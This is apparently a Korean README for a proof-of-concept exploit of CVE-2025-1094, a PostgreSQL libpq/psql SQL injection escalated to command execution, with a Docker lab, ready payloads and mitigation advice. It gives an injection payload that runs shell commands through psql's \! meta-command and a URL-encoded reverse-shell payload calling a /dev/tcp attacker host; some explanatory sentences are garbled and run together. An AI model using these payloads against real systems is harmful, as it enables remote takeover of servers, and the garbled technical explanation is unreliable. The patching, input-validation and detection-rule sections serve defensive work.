
CVE-2025-1094에 대한 개념 증명 익스플로잇으로, libpq 이스케이프 우회를 통한 PostgreSQL psql SQL 인젝션으로 RCE로 이어집니다. Docker 환경, 익스플로잇 스크립트 및 완화 지침을 포함합니다.
Proof of Concept — PostgreSQL 클라이언트 libpq 및 psql 도구의 심각한 SQL 인젝션 취약점
CVE-2025-1094는 PostgreSQL 클라이언트 라이브러리 libpq 및 명령줄 도구 psql에서 발견된 심각한 취약점입니다. 이 취약점으로 인해 공격자가 애플리케이션이 PQescapeLiteral과 같은 표준 문자열 이스케이프 함수를 사용하더라도 SQL 인젝션을 수행하고 원격 코드 실행(RCE)으로 확대할 수 있습니다.
오류는 이스케이프 라이브러리와 psql 파서 간의 잘못된 멀티바이트(예: UTF-8) 바이트 문자열 처리의 불일치에서 발생합니다.
1. 이스케이프 우회
PQescapeLiteral 함수가 "새로운 바이트"(예: 0xC0)에 속습니다.')를 하나의 문자로 간주합니다.2. 메타 명령을 통한 RCE
\!를 사용할 수 있습니다.프로젝트는 libpq C 함수 호출 시 실제 환경을 시뮬레이션하도록 구성되어 있습니다:
.
├── docker-compose.yml # PostgreSQL + 웹 앱 시작
├── exolit.py # 익스플로잇 스크립트 - 외부 공격
├── README.md # 본 문서
└── app/
├── app.py # Flask 웹 앱 - 사용자 입력 수신
├── Dockerfile # 취약한 코드가 포함된 이미지 빌드
└── init_db.sql # 데이터베이스 초기화
/search 엔드포인트를 통해 사용자 입력을 받음\!를 통해 시스템 명령 실행 허용hax\xc0'; \! id; #
| 구성 요소 | 값 | 의미 |
|---|---|---|
| 데이터 입력 | hax | 일반적인 일반 데이터 |
| 새로운 바이트 | \xc0 | 잘못된 UTF-8 바이트 - 이스케이프 우회 |
| 따옴표 | ' | 작은따옴표 '숨김' - 필터 통과 |
| SQL 종료 | ; | 현재 SQL 문 종료 |
| 메타 명령 | \! | psql 특수 명령 - 운영 체제 쉘로 탈출 |
| 쉘 명령 | id | 실행할 명령 (리버스 쉘로 대체 가능) |
| 주석 | # | SQL 주석 - 나머지 부분 무효화 |
1. 사용자 입력: hax\xc0'; \! id; #
↓
2. PQescapeLiteral()이 \xc0 + '를 공격으로 인식하지 못함
↓
3. 문자열이 psql로 전송됨: hax\xc0'; \! id; #
↓
4. psql 파싱: \xc0 부분이 문자열 종료로 간주됨
↓
5. 메타 명령 \! 활성화
↓
6. 쉘 명령 id가 컨테이너 권한으로 실행됨
docker-compose up -d
docker-compose ps
PostgreSQL과 Flask 앱이 모두 실행 중인지 확인합니다.
python exolit.py
예상 결과: 서버에서 얻은 uid=0(root) 정보가 표시됩니다.
docker-compose down
다음 본문으로 /search에 POST 요청을 보냅니다:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (잘못된 UTF-8 바이트)%27 = ' (작은따옴표)%23 = # (해시 기호)+ = 공백hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
참고: <ip-hacker> 및 <port-hacker>를 공격자 머신의 IP와 포트로 바꾸십시오.
PostgreSQL을 패치된 버전으로 업그레이드하십시오:
| Version | 안전한 버전 |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
처리하기 전에 입력 데이터가 유효한 UTF-8인지 항상 확인하십시오:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
애플리케이션 프로그래밍에서는 공식 드라이버 라이브러리를 사용하십시오:
# ❌ 사용 금지: subprocess + psql 사용
subprocess.run(['psql', '-c', user_input])
# ✅ 권장: psycopg2로 매개변수화된 쿼리 사용
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
root 권한으로 실행root 권한으로 실행패턴 탐지 규칙 설정:
\!; \! 또는 ' \!와 같은 문자열